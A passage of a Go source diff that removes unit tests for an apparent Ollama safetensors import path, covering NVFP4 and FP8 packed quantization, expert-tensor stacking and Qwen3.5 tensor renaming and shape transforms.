"compression_config": {"format": "nvfp4-pack-quantized"} - }`, - tensors: []*st.TensorData{ - st.NewTensorDataFromBytes("linear.weight_packed", "U8", []int32{16, 8}, make([]byte, 128)), - st.NewTensorDataFromBytes("linear.weight_scale", "F8_E4M3", []int32{16, 1}, make([]byte, 16)), - }, - wantErr: `cannot requantize already-quantized source model with --quantize "int4"`, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - dir := t.TempDir() - if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(tt.configJSON), 0o644); err != nil { - t.Fatalf("failed to write config.json: %v", err) - } - createTestSafetensors(t, filepath.Join(dir, "model.safetensors"), tt.tensors) - - createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) { - return LayerInfo{}, nil - } - createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) { - return nil, nil - } - writeManifest := func(modelName string, config LayerInfo, layers []LayerInfo) error { return nil } - - err := CreateSafetensorsModel("test-model", dir, "int4", createLayer, createTensorLayer, writeManifest, func(string) {}) - if err == nil { - t.Fatal("expected error, got nil") - } - if !strings.Contains(err.Error(), tt.wantErr) { - t.Fatalf("error = %q, want substring %q", err, tt.wantErr) - } - }) - } -} - -func TestCreateSafetensorsModel_PackedNVFP4PreservesSourceLayout(t *testing.T) { - dir := t.TempDir() - - configJSON := `{ - "model_type": "test", - "architectures": ["TestModel"], - "compression_config": {"format": "nvfp4-pack-quantized"} - }` - if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(configJSON), 0o644); err != nil { - t.Fatalf("failed to write config.json: %v", err) - } - - createTestSafetensors(t, filepath.Join(dir, "model.safetensors"), []*st.TensorData{ - st.NewTensorDataFromBytes("linear.weight_packed", "U8", []int32{16, 8}, make([]byte, 128)), - st.NewTensorDataFromBytes("linear.weight_scale", "F8_E4M3", []int32{16, 1}, make([]byte, 16)), - st.NewTensorDataFromBytes("linear.weight_global_scale", "F32", []int32{}, encodeFloat32s(4)), - st.NewTensorDataFromBytes("linear.input_global_scale", "F32", []int32{}, encodeFloat32s(8)), - st.NewTensorDataFromBytes("norm.weight", "BF16", []int32{16}, make([]byte, 32)), - }) - - var statusMessages []string - layerHeaders := make(map[string]map[string]json.RawMessage) - layerData := make(map[string][]byte) - var tensorLayerNames []string - - createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) { - data, err := io.ReadAll(r) - if err != nil { - return LayerInfo{}, err - } - if mediaType == "application/vnd.ollama.image.tensor" { - if len(data) < 8 { - return LayerInfo{}, io.ErrUnexpectedEOF - } - var headerSize uint64 - if err := binary.Read(bytes.NewReader(data[:8]), binary.LittleEndian, &headerSize); err != nil { - return LayerInfo{}, err - } - var header map[string]json.RawMessage - if err := json.Unmarshal(data[8:8+headerSize], &header); err != nil { - return LayerInfo{}, err - } - layerHeaders[name] = header - layerData[name] = data - } - return LayerInfo{Name: name, Digest: "sha256:" + name, MediaType: mediaType}, nil - } - createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) { - if _, err := io.ReadAll(r); err != nil { - return nil, err - } - tensorLayerNames = append(tensorLayerNames, name) - return []LayerInfo{{Name: name, Digest: "sha256:tensor_" + name, MediaType: "application/vnd.ollama.image.tensor"}}, nil - } - writeManifest := func(modelName string, config LayerInfo, layers []LayerInfo) error { return nil } - progressFn := func(status string) { statusMessages = append(statusMessages, status) } - - if err := CreateSafetensorsModel("test-model", dir, "", createLayer, createTensorLayer, writeManifest, progressFn); err != nil { - t.Fatalf("CreateSafetensorsModel failed: %v", err) - } - - if len(statusMessages) == 0 { - t.Fatal("no status messages received") - } - if got, want := statusMessages[0], "importing model.safetensors (5 tensors, preserving source quantization)"; got != want { - t.Fatalf("status = %q, want %q", got, want) - } - - if slices.Contains(tensorLayerNames, "linear.weight_scale") || slices.Contains(tensorLayerNames, "linear.weight_global_scale") || slices.Contains(tensorLayerNames, "linear.input_global_scale") { - t.Fatalf("packed nvfp4 companions unexpectedly emitted as standalone tensor layers: %v", tensorLayerNames) - } - - packedHeader := layerHeaders["linear.weight"] - if packedHeader == nil { - t.Fatalf("missing packed layer header for linear.weight") - } - for _, key := range []string{ - "linear.weight", - "linear.weight.scale", - "linear.weight.global_scale", - } { - if _, ok := packedHeader[key]; !ok { - t.Fatalf("packed header missing %s: %v", key, packedHeader) - } - } - if _, ok := packedHeader["linear.weight.input_global_scale"]; ok { - t.Fatalf("packed header unexpectedly includes input_global_scale: %v", packedHeader) - } - globalRaw := readPackedTensorRaw(t, layerData["linear.weight"], "linear.weight.global_scale") - if got := math.Float32frombits(binary.LittleEndian.Uint32(globalRaw)); got != 0.25 { - t.Fatalf("linear.weight.global_scale = %v, want 0.25", got) - } - - var metadata map[string]string - if metaRaw, ok := packedHeader["__metadata__"]; ok { - if err := json.Unmarshal(metaRaw, &metadata); err != nil { - t.Fatalf("failed to parse metadata: %v", err) - } - } - if metadata["quant_type"] != "nvfp4" { - t.Fatalf("quant_type = %q, want %q", metadata["quant_type"], "nvfp4") - } - if metadata["group_size"] != "16" { - t.Fatalf("group_size = %q, want %q", metadata["group_size"], "16") - } -} - -func TestCreateSafetensorsModel_PackedNVFP4CrossShardCompanions(t *testing.T) { - dir := t.TempDir() - - configJSON := `{ - "model_type": "test", - "architectures": ["TestModel"], - "compression_config": {"format": "nvfp4-pack-quantized"} - }` - if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(configJSON), 0o644); err != nil { - t.Fatalf("failed to write config.json: %v", err) - } - - createTestSafetensors(t, filepath.Join(dir, "model-00001-of-00002.safetensors"), []*st.TensorData{ - st.NewTensorDataFromBytes("linear.weight_packed", "U8", []int32{16, 8}, make([]byte, 128)), - st.NewTensorDataFromBytes("norm.weight", "BF16", []int32{16}, make([]byte, 32)), - }) - createTestSafetensors(t, filepath.Join(dir, "model-00002-of-00002.safetensors"), []*st.TensorData{ - st.NewTensorDataFromBytes("linear.weight_scale", "F8_E4M3", []int32{16, 1}, make([]byte, 16)), - st.NewTensorDataFromBytes("linear.weight_global_scale", "F32", []int32{}, encodeFloat32s(2)), - st.NewTensorDataFromBytes("linear.input_global_scale", "F32", []int32{}, encodeFloat32s(8)), - }) - indexJSON := `{ - "metadata": {"total_size": 152}, - "weight_map": { - "linear.weight_packed": "model-00001-of-00002.safetensors", - "norm.weight": "model-00001-of-00002.safetensors", - "linear.weight_scale": "model-00002-of-00002.safetensors", - "linear.weight_global_scale": "model-00002-of-00002.safetensors", - "linear.input_global_scale": "model-00002-of-00002.safetensors" - } - }` - if err := os.WriteFile(filepath.Join(dir, "model.safetensors.index.json"), []byte(indexJSON), 0o644); err != nil { - t.Fatalf("failed to write index: %v", err) - } - - layerHeaders := make(map[string]map[string]json.RawMessage) - var tensorLayerNames []string - - createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) { - data, err := io.ReadAll(r) - if err != nil { - return LayerInfo{}, err - } - if mediaType == "application/vnd.ollama.image.tensor" { - var headerSize uint64 - if err := binary.Read(bytes.NewReader(data[:8]), binary.LittleEndian, &headerSize); err != nil { - return LayerInfo{}, err - } - var header map[string]json.RawMessage - if err := json.Unmarshal(data[8:8+headerSize], &header); err != nil { - return LayerInfo{}, err - } - layerHeaders[name] = header - } - return LayerInfo{Name: name, Digest: "sha256:" + name, MediaType: mediaType}, nil - } - createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) { - if _, err := io.ReadAll(r); err != nil { - return nil, err - } - tensorLayerNames = append(tensorLayerNames, name) - return []LayerInfo{{Name: name, Digest: "sha256:tensor_" + name, MediaType: "application/vnd.ollama.image.tensor"}}, nil - } - writeManifest := func(modelName string, config LayerInfo, layers []LayerInfo) error { return nil } - - packedCreator := func(groupName string, tensors []PackedTensorInput) (LayerInfo, error) { - return LayerInfo{}, fmt.Errorf("unexpected packedCreator call for %s", groupName) - } - if err := CreateSafetensorsModel("test-model", dir, "", createLayer, createTensorLayer, writeManifest, func(string) {}, packedCreator); err != nil { - t.Fatalf("CreateSafetensorsModel failed: %v", err) - } - - if slices.Contains(tensorLayerNames, "linear.weight_packed") || slices.Contains(tensorLayerNames, "linear.weight_scale") || slices.Contains(tensorLayerNames, "linear.weight_global_scale") || slices.Contains(tensorLayerNames, "linear.input_global_scale") { - t.Fatalf("packed nvfp4 tensors unexpectedly emitted as standalone tensor layers: %v", tensorLayerNames) - } - - packedHeader := layerHeaders["linear.weight"] - if packedHeader == nil { - t.Fatalf("missing packed layer header for linear.weight") - } - for _, key := range []string{ - "linear.weight", - "linear.weight.scale", - "linear.weight.global_scale", - } { - if _, ok := packedHeader[key]; !ok { - t.Fatalf("packed header missing %s: %v", key, packedHeader) - } - } - if _, ok := packedHeader["linear.weight.input_global_scale"]; ok { - t.Fatalf("packed header unexpectedly includes input_global_scale: %v", packedHeader) - } -} - -func TestCreateSafetensorsModel_PackedNVFP4StacksExperts(t *testing.T) { - dir := t.TempDir() - - configJSON := `{ - "model_type": "test", - "architectures": ["TestModel"], - "compression_config": {"format": "nvfp4-pack-quantized"} - }` - if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(configJSON), 0o644); err != nil { - t.Fatalf("failed to write config.json: %v", err) - } - - createTestSafetensors(t, filepath.Join(dir, "model.safetensors"), []*st.TensorData{ - st.NewTensorDataFromBytes("model.layers.1.mlp.experts.0.gate_proj.weight_packed", "U8", []int32{2, 8}, make([]byte, 16)), - st.NewTensorDataFromBytes("model.layers.1.mlp.experts.0.gate_proj.weight_scale", "F8_E4M3", []int32{2, 1}, make([]byte, 2)), - st.NewTensorDataFromBytes("model.layers.1.mlp.experts.0.gate_proj.weight_global_scale", "F32", []int32{1}, encodeFloat32s(2)), - st.NewTensorDataFromBytes("model.layers.1.mlp.experts.0.gate_proj.input_global_scale", "F32", []int32{1}, encodeFloat32s(32)), - st.NewTensorDataFromBytes("model.layers.1.mlp.experts.1.gate_proj.weight_packed", "U8", []int32{2, 8}, make([]byte, 16)), - st.NewTensorDataFromBytes("model.layers.1.mlp.experts.1.gate_proj.weight_scale", "F8_E4M3", []int32{2, 1}, make([]byte, 2)), - st.NewTensorDataFromBytes("model.layers.1.mlp.experts.1.gate_proj.weight_global_scale", "F32", []int32{1}, encodeFloat32s(4)), - st.NewTensorDataFromBytes("model.layers.1.mlp.experts.1.gate_proj.input_global_scale", "F32", []int32{1}, encodeFloat32s(64)), - st.NewTensorDataFromBytes("norm.weight", "BF16", []int32{2}, make([]byte, 4)), - }) - - layerHeaders := make(map[string]map[string]json.RawMessage) - layerData := make(map[string][]byte) - createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) { - data, err := io.ReadAll(r) - if err != nil { - return LayerInfo{}, err - } - if mediaType == "application/vnd.ollama.image.tensor" { - var headerSize uint64 - if err := binary.Read(bytes.NewReader(data[:8]), binary.LittleEndian, &headerSize); err != nil { - return LayerInfo{}, err - } - var header map[string]json.RawMessage - if err := json.Unmarshal(data[8:8+headerSize], &header); err != nil { - return LayerInfo{}, err - } - layerHeaders[name] = header - layerData[name] = data - } - return LayerInfo{Name: name, Digest: "sha256:" + name, MediaType: mediaType}, nil - } - createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) { - if _, err := io.ReadAll(r); err != nil { - return nil, err - } - return []LayerInfo{{Name: name, Digest: "sha256:tensor_" + name, MediaType: "application/vnd.ollama.image.tensor"}}, nil - } - writeManifest := func(modelName string, config LayerInfo, layers []LayerInfo) error { return nil } - packedCreator := func(groupName string, tensors []PackedTensorInput) (LayerInfo, error) { - return LayerInfo{}, fmt.Errorf("unexpected packedCreator call for %s", groupName) - } - - if err := CreateSafetensorsModel("test-model", dir, "", createLayer, createTensorLayer, writeManifest, func(string) {}, packedCreator); err != nil { - t.Fatalf("CreateSafetensorsModel failed: %v", err) - } - - header := layerHeaders["model.layers.1.mlp.experts"] - if header == nil { - t.Fatalf("missing packed expert layer header") - } - for _, key := range []string{ - "model.layers.1.mlp.switch_mlp.gate_proj.weight", - "model.layers.1.mlp.switch_mlp.gate_proj.weight.scale", - "model.layers.1.mlp.switch_mlp.gate_proj.weight.global_scale", - } { - if _, ok := header[key]; !ok { - t.Fatalf("stacked header missing %s: %v", key, header) - } - } - if _, ok := header["model.layers.1.mlp.switch_mlp.gate_proj.weight.input_global_scale"]; ok { - t.Fatalf("stacked header unexpectedly includes input_global_scale: %v", header) - } - if _, ok := header["model.layers.1.mlp.experts.0.gate_proj.weight"]; ok { - t.Fatalf("unexpected per-expert tensor left in packed header: %v", header) - } - - var weightInfo struct { - Dtype string `json:"dtype"` - Shape []int32 `json:"shape"` - } - if err := json.Unmarshal(header["model.layers.1.mlp.switch_mlp.gate_proj.weight"], &weightInfo); err != nil { - t.Fatalf("failed to unmarshal stacked weight info: %v", err) - } - if weightInfo.Dtype != "U32" || !slices.Equal(weightInfo.Shape, []int32{2, 2, 2}) { - t.Fatalf("stacked weight = dtype %s shape %v, want U32 [2 2 2]", weightInfo.Dtype, weightInfo.Shape) - } - - var globalInfo struct { - Dtype string `json:"dtype"` - Shape []int32 `json:"shape"` - } - if err := json.Unmarshal(header["model.layers.1.mlp.switch_mlp.gate_proj.weight.global_scale"], &globalInfo); err != nil { - t.Fatalf("failed to unmarshal stacked global scale info: %v", err) - } - if globalInfo.Dtype != "F32" || !slices.Equal(globalInfo.Shape, []int32{2, 1, 1}) { - t.Fatalf("stacked global scale = dtype %s shape %v, want F32 [2 1 1]", globalInfo.Dtype, globalInfo.Shape) - } - globalRaw := readPackedTensorRaw(t, layerData["model.layers.1.mlp.experts"], "model.layers.1.mlp.switch_mlp.gate_proj.weight.global_scale") - if got0 := math.Float32frombits(binary.LittleEndian.Uint32(globalRaw[0:4])); got0 != 0.5 { - t.Fatalf("stacked global scale[0] = %v, want 0.5", got0) - } - if got1 := math.Float32frombits(binary.LittleEndian.Uint32(globalRaw[4:8])); got1 != 0.25 { - t.Fatalf("stacked global scale[1] = %v, want 0.25", got1) - } -} - -func TestCreateSafetensorsModel_HFFP8PacksExperts(t *testing.T) { - dir := t.TempDir() - - configJSON := `{ - "model_type": "test", - "architectures": ["Qwen3_5MoeForConditionalGeneration"], - "quantization_config": {"quant_method": "fp8", "weight_block_size": [128, 128]} - }` - if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(configJSON), 0o644); err != nil { - t.Fatalf("failed to write config.json: %v", err) - } - - // Create 2 experts so stacking produces a [2, 128, 128] tensor - createTestSafetensors(t, filepath.Join(dir, "model.safetensors"), []*st.TensorData{ - st.NewTensorDataFromBytes("model.language_model.layers.0.mlp.experts.0.gate_proj.weight", "F8_E4M3", []int32{128, 128}, make([]byte, 128*128)), - st.NewTensorDataFromBytes("model.language_model.layers.0.mlp.experts.0.gate_proj.weight_scale_inv", "BF16", []int32{1, 1}, make([]byte, 2)), - st.NewTensorDataFromBytes("model.language_model.layers.0.mlp.experts.0.up_proj.weight", "F8_E4M3", []int32{128, 128}, make([]byte, 128*128)), - st.NewTensorDataFromBytes("model.language_model.layers.0.mlp.experts.0.up_proj.weight_scale_inv", "BF16", []int32{1, 1}, make([]byte, 2)), - st.NewTensorDataFromBytes("model.language_model.layers.0.mlp.experts.0.down_proj.weight", "F8_E4M3", []int32{128, 128}, make([]byte, 128*128)), - st.NewTensorDataFromBytes("model.language_model.layers.0.mlp.experts.0.down_proj.weight_scale_inv", "BF16", []int32{1, 1}, make([]byte, 2)), - st.NewTensorDataFromBytes("model.language_model.layers.0.mlp.experts.1.gate_proj.weight", "F8_E4M3", []int32{128, 128}, make([]byte, 128*128)), - st.NewTensorDataFromBytes("model.language_model.layers.0.mlp.experts.1.gate_proj.weight_scale_inv", "BF16", []int32{1, 1}, make([]byte, 2)), - st.NewTensorDataFromBytes("model.language_model.layers.0.mlp.experts.1.up_proj.weight", "F8_E4M3", []int32{128, 128}, make([]byte, 128*128)), - st.NewTensorDataFromBytes("model.language_model.layers.0.mlp.experts.1.up_proj.weight_scale_inv", "BF16", []int32{1, 1}, make([]byte, 2)), - st.NewTensorDataFromBytes("model.language_model.layers.0.mlp.experts.1.down_proj.weight", "F8_E4M3", []int32{128, 128}, make([]byte, 128*128)), - st.NewTensorDataFromBytes("model.language_model.layers.0.mlp.experts.1.down_proj.weight_scale_inv", "BF16", []int32{1, 1}, make([]byte, 2)), - }) - - var packedLayerNames []string - var packedLayerTensors [][]PackedTensorInput - - createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) { - if _, err := io.ReadAll(r); err != nil { - return LayerInfo{}, err - } - return LayerInfo{Name: name, Digest: "sha256:" + name, MediaType: mediaType}, nil - } - - createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) { - if _, err := io.ReadAll(r); err != nil { - return nil, err - } - return []LayerInfo{{Name: name, Digest: "sha256:tensor_" + name, MediaType: "application/vnd.ollama.image.tensor"}}, nil - } - - createPackedLayer := func(groupName string, tensors []PackedTensorInput) (LayerInfo, error) { - packedLayerNames = append(packedLayerNames, groupName) - packedLayerTensors = append(packedLayerTensors, tensors) - return LayerInfo{Name: groupName, Digest: "sha256:packed_" + groupName, MediaType: "application/vnd.ollama.image.tensor"}, nil - } - - writeManifest := func(modelName string, config LayerInfo, layers []LayerInfo) error { return nil } - - if err := CreateSafetensorsModel("test-model", dir, "", createLayer, createTensorLayer, writeManifest, func(string) {}, createPackedLayer); err != nil { - t.Fatalf("CreateSafetensorsModel failed: %v", err) - } - - if len(packedLayerNames) != 1 { - t.Fatalf("expected 1 packed layer, got %d: %v", len(packedLayerNames), packedLayerNames) - } - if packedLayerNames[0] != "language_model.model.layers.0.mlp.experts" { - t.Fatalf("unexpected packed layer name: %s", packedLayerNames[0]) - } - - // Verify all 6 expert tensors (2 experts × 3 proj types) were accumulated - tensors := packedLayerTensors[0] - if len(tensors) != 6 { - t.Fatalf("expected 6 tensors in packed group, got %d", len(tensors)) - } - - // All should be marked for mxfp8 quantization - for _, tensor := range tensors { - if tensor.Quantize != "mxfp8" { - t.Fatalf("expected mxfp8 quantize for %s, got %q", tensor.Name, tensor.Quantize) - } - } - - packedLayerNames = nil - packedLayerTensors = nil - if err := CreateSafetensorsModel("test-model", dir, "nvfp4", createLayer, createTensorLayer, writeManifest, func(string) {}, createPackedLayer); err != nil { - t.Fatalf("CreateSafetensorsModel nvfp4 failed: %v", err) - } - - if len(packedLayerNames) != 1 { - t.Fatalf("expected 1 packed layer for nvfp4, got %d: %v", len(packedLayerNames), packedLayerNames) - } - - for _, tensor := range packedLayerTensors[0] { - want := "nvfp4" - if strings.Contains(tensor.Name, "down_proj") { - want = "mxfp8" - } - if tensor.Quantize != want { - t.Fatalf("nvfp4 packed tensor %s quantize = %q, want %q", tensor.Name, tensor.Quantize, want) - } - } -} - -func TestCreateSafetensorsModel_Qwen35Transforms(t *testing.T) { - dir := t.TempDir() - - configJSON := `{ - "model_type": "test", - "architectures": ["Qwen3_5MoeForConditionalGeneration"], - "text_config": {"dtype": "bfloat16"} - }` - if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(configJSON), 0o644); err != nil { - t.Fatalf("failed to write config.json: %v", err) - } - - gateUpValues := make([]float32, 2*128*64) - for expert := range 2 { - base := expert * 128 * 64 - for i := range 64 * 64 { - gateUpValues[base+i] = 1 - gateUpValues[base+64*64+i] = 2 - } - } - - createTestSafetensors(t, filepath.Join(dir, "model.safetensors"), []*st.TensorData{ - st.NewTensorDataFromBytes("model.language_model.embed_tokens.weight", "BF16", []int32{64, 64}, make([]byte, 64*64*2)), - st.NewTensorDataFromBytes("model.language_model.layers.0.input_layernorm.weight", "F32", []int32{64}, make([]byte, 64*4)), - st.NewTensorDataFromBytes("model.language_model.layers.0.linear_attn.A_log", "F32", []int32{32}, make([]byte, 32*4)), - st.NewTensorDataFromBytes("model.language_model.layers.0.linear_attn.conv1d.weight", "BF16", []int32{64, 1, 4}, make([]byte, 64*1*4*2)), - st.NewTensorDataFromBytes("model.language_model.layers.0.mlp.gate.weight", "BF16", []int32{64, 64}, make([]byte, 64*64*2)), - st.NewTensorDataFromBytes("model.language_model.layers.0.mlp.experts.gate_up_proj", "BF16", []int32{2, 128, 64}, bfloat16.EncodeFloat32(gateUpValues)), - st.NewTensorDataFromBytes("model.language_model.layers.0.mlp.experts.down_proj", "BF16", []int32{2, 64, 64}, bfloat16.EncodeFloat32(make([]float32, 2*64*64))), - st.NewTensorDataFromBytes("model.language_model.layers.0.mlp.shared_expert.down_proj.weight", "BF16", []int32{64, 64}, make([]byte, 64*64*2)), - st.NewTensorDataFromBytes("model.visual.blocks.0.attn.proj.weight", "BF16", []int32{64, 64}, make([]byte, 64*64*2)), - st.NewTensorDataFromBytes("mtp.layers.0.foo.weight", "F32", []int32{64, 64}, make([]byte, 64*64*4)), - }) - - type tensorCall struct { - dtype string - shape []int32 - quantize string - raw []byte - } - calls := make(map[string]tensorCall) - - createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) { - _, _ = io.ReadAll(r) - return LayerInfo{Name: name, Digest: "sha256:" + name, MediaType: mediaType}, nil - } - - createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) { - data, err := io.ReadAll(r) - if err != nil { - return nil, err - } - headerDType, headerShape := readSingleTensorHeader(t, data) - calls[name] = tensorCall{ - dtype: headerDType, - shape: headerShape, - quantize: quantize, - raw: readSingleTensorRaw(t, data), - } - return []LayerInfo{{Name: name, Digest: "sha256:" + name, MediaType: "application/vnd.ollama.image.tensor"}}, nil - } - - writeManifest := func(modelName string, config LayerInfo, layers []LayerInfo) error { - return nil - } - - if err := CreateSafetensorsModel("test-model", dir, "int4", createLayer, createTensorLayer, writeManifest, func(string) {}); err != nil { - t.Fatalf("CreateSafetensorsModel failed: %v", err) - } - - if _, ok := calls["mtp.layers.0.foo.weight"]; !ok { - t.Fatal("mtp tensor should have been preserved") - } - - layerNorm := calls["language_model.model.layers.0.input_layernorm.weight"] - if layerNorm.dtype != "BF16" { - t.Fatalf("input_layernorm dtype = %q, want %q", layerNorm.dtype, "BF16") - } - if layerNorm.quantize != "" { - t.Fatalf("input_layernorm quantize = %q, want empty", layerNorm.quantize) - } - layerNormValues := bfloat16.DecodeFloat32(layerNorm.raw) - if len(layerNormValues) == 0 || layerNormValues[0] != 1.0 { - t.Fatalf("input_layernorm first value = %v, want 1.0 after +1 shift", layerNormValues[0]) - } - - alog := calls["language_model.model.layers.0.linear_attn.A_log"] - if alog.dtype != "F32" { - t.Fatalf("A_log dtype = %q, want %q", alog.dtype, "F32") - } - - conv := calls["language_model.model.layers.0.linear_attn.conv1d.weight"] - if !slices.Equal(conv.shape, []int32{64, 4, 1}) { - t.Fatalf("conv1d shape = %v, want %v", conv.shape, []int32{64, 4, 1}) - } - - if got := calls["language_model.model.embed_tokens.weight"].quantize; got != "int4" { - t.Fatalf("embed_tokens quantize = %q, want %q", got, "int4") - } - if got := calls["language_model.model.layers.0.mlp.gate.weight"].quantize; got != "int4" { - t.Fatalf("mlp.gate quantize = %q, want %q", got, "int4") - } - if got := calls["language_model.model.layers.0.mlp.shared_expert.down_proj.weight"].quantize; got != "int4" { - t.Fatalf("down_proj quantize = %q, want %q", got, "int4") - } - - if _, ok := calls["language_model.model.layers.0.mlp.experts.gate_up_proj"]; ok { - t.Fatal("combined gate_up_proj tensor should have been rewritten") - } - if _, ok := calls["language_model.model.layers.0.mlp.experts.down_proj"]; ok { - t.Fatal("combined down_proj tensor should have been rewritten") - } - - gateProj := calls["language_model.model.layers.0.mlp.switch_mlp.gate_proj.weight"] - if !slices.Equal(gateProj.shape, []int32{2, 64, 64}) { - t.Fatalf("gate_proj shape = %v, want %v", gateProj.shape, []int32{2, 64, 64}) - } - gateProjValues := bfloat16.DecodeFloat32(gateProj.raw) - if len(gateProjValues) == 0 || gateProjValues[0] != 1.0 { - t.Fatalf("gate_proj first value = %v, want 1.0", gateProjValues[0]) - } - - upProj := calls["language_model.model.layers.0.mlp.switch_mlp.up_proj.weight"] - if !slices.Equal(upProj.shape, []int32{2, 64, 64}) { - t.Fatalf("up_proj shape = %v, want %v", upProj.shape, []int32{2, 64, 64}) - } - upProjValues := bfloat16.DecodeFloat32(upProj.raw) - if len(upProjValues) == 0 || upProjValues[0] != 2.0 { - t.Fatalf("up_proj first value = %v, want 2.0", upProjValues[0]) - } - - if got := calls["language_model.model.layers.0.mlp.switch_mlp.down_proj.weight"].quantize; got != "int4" { - t.Fatalf("switch_mlp down_proj quantize = %q, want %q", got, "int4") - } - - vision := calls["vision_tower.blocks.0.attn.proj.weight"] - if vision.dtype != "BF16" { - t.Fatalf("vision weight dtype = %q, want %q", vision.dtype, "BF16") - } - if vision.quantize != "" { - t.Fatalf("vision weight quantize = %q, want empty", vision.quantize) - } - if _, ok := calls["language_model.model.visual.blocks.0.attn.proj.weight"]; ok { - t.Fatal("vision tensor should have been rewritten to vision_tower.*") - } -} - -func TestCreateSafetensorsModel_Qwen35DirectNonAffineKeepsSensitiveWeightsBF16(t *testing.T) { - for _, quantize := range []string{"nvfp4", "mxfp8", "mxfp4"} { - t.Run(quantize, func(t *testing.T) { - dir := t.TempDir() - - configJSON := `{ - "model_type": "test", - "architectures": ["Qwen3_5MoeForConditionalGeneration"], - "text_config": {"dtype": "bfloat16"} - }` - if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(configJSON), 0o644); err != nil { - t.Fatalf("failed to write config.json: %v", err) - } - - gateUpValues := make([]float32, 2*128*64) - for expert := range 2 { - base := expert * 128 * 64 - for i := range 64 * 64 { - gateUpValues[base+i] = 1 - gateUpValues[base+64*64+i] = 2 - } - } - - createTestSafetensors(t, filepath.Join(dir, "model.safetensors"), []*st.TensorData{ - st.NewTensorDataFromBytes("model.language_model.embed_tokens.weight", "BF16", []int32{64, 64}, make([]byte, 64*64*2)), - st.NewTensorDataFromBytes("lm_head.weight", "BF16", []int32{64, 64}, make([]byte, 64*64*2)), - st.NewTensorDataFromBytes("model.language_model.layers.0.linear_attn.in_proj_a.weight", "BF16", []int32{32, 64}, make([]byte, 32*64*2)), - st.NewTensorDataFromBytes("model.language_model.layers.0.linear_attn.in_proj_b.weight", "BF16", []int32{32, 64}, make([]byte, 32*64*2)), - st.NewTensorDataFromBytes("model.language_model.layers.0.mlp.gate.weight", "BF16", []int32{64, 64}, make([]byte, 64*64*2)), - st.NewTensorDataFromBytes("model.language_model.layers.0.mlp.shared_expert_gate.weight", "BF16", []int32{1, 64}, make([]byte, 64*2)), - st.NewTensorDataFromBytes("model.language_model.layers.0.self_attn.q_proj.weight", "BF16", []int32{64, 64}, make([]byte, 64*64*2)), - st.NewTensorDataFromBytes("model.language_model.layers.0.mlp.experts.gate_up_proj", "BF16", []int32{2, 128, 64}, bfloat16.EncodeFloat32(gateUpValues)), - st.NewTensorDataFromBytes("model.language_model.layers.0.mlp.experts.down_proj", "BF16", []int32{2, 64, 64}, bfloat16.EncodeFloat32(make([]float32, 2*64*64))), - }) - - type tensorCall struct { - quantize string - } - type packedTensorCall struct { - Name string - Quantize string - } - - tensorCalls := make(map[string]tensorCall) - packedCalls := make(map[string][]packedTensorCall) - - createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) { - _, _ = io.ReadAll(r) - return LayerInfo{Name: name, Digest: "sha256:" + name, MediaType: mediaType}, nil - } - - createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantizeType string) ([]LayerInfo, error) { - _, _ = io.ReadAll(r) - tensorCalls[name] = tensorCall{quantize: quantizeType} - return []LayerInfo{{Name: name, Digest: "sha256:" + name, MediaType: "application/vnd.ollama.image.tensor"}}, nil - } - - createPackedLayer := func(groupName string, tensors []PackedTensorInput) (LayerInfo, error) { - group := make([]packedTensorCall, 0, len(tensors)) - for _, tensor := range tensors { - group = append(group, packedTensorCall{ - Name: tensor.Name, - Quantize: tensor.Quantize, - }) - } - packedCalls[groupName] = group - return LayerInfo{Name: groupName, Digest: "sha256:" + groupName, MediaType: "application/vnd.ollama.image.tensor"}, nil - } - - writeManifest := func(modelName string, config LayerInfo, layers []LayerInfo) error { - return nil - } - - if err := CreateSafetensorsModel("test-model", dir, quantize, createLayer, createTensorLayer, writeManifest, func(string) {}, createPackedLayer); err != nil { - t.Fatalf("CreateSafetensorsModel failed: %v", err) - } - - for _, name := range []string{ - "language_model.model.embed_tokens.weight", - "language_model.lm_head.weight", - "language_model.model.layers.0.linear_attn.in_proj_a.weight", - "language_model.model.layers.0.linear_attn.in_proj_b.weight", - "language_model.model.layers.0.mlp.gate.weight", - "language_model.model.layers.0.mlp.shared_expert_gate.weight", - } { - if got := tensorCalls[name].quantize; got != "" { - t.Fatalf("%s quantize = %q, want empty", name, got) - } - } - - if got := tensorCalls["language_model.model.layers.0.self_attn.q_proj.weight"].quantize; got != quantize { - t.Fatalf("q_proj quantize = %q, want %q", got, quantize) - } - - group := packedCalls["language_model.model.layers.0.mlp.switch_mlp"] - if len(group) != 3 { - t.Fatalf("packed switch_mlp tensor count = %d, want 3", len(group)) - } - for _, tensor := range group { - if tensor.Quantize != quantize { - t.Fatalf("packed tensor %q quantize = %q, want %q", tensor.Name, tensor.Quantize, quantize) - } - } - }) - } -} - func TestResolveManifestPath(t *testing.T) { tests := []struct { name string @@ -1919,65 +406,6 @@ func TestShouldQuantize(t *testing.T) { } } -func TestShouldQuantizeTensor(t *testing.T) { - tests := []struct { - name string - tensor string - shape []int32 - quantize string - want bool - }{ - // 2D tensors with sufficient size should be quantized - {"large 2D weight fp8", "q_proj.weight", []int32{4096, 4096}, "fp8", true}, - {"medium 2D weight fp8", "small_proj.weight", []int32{128, 128}, "fp8", true}, - {"large 2D weight 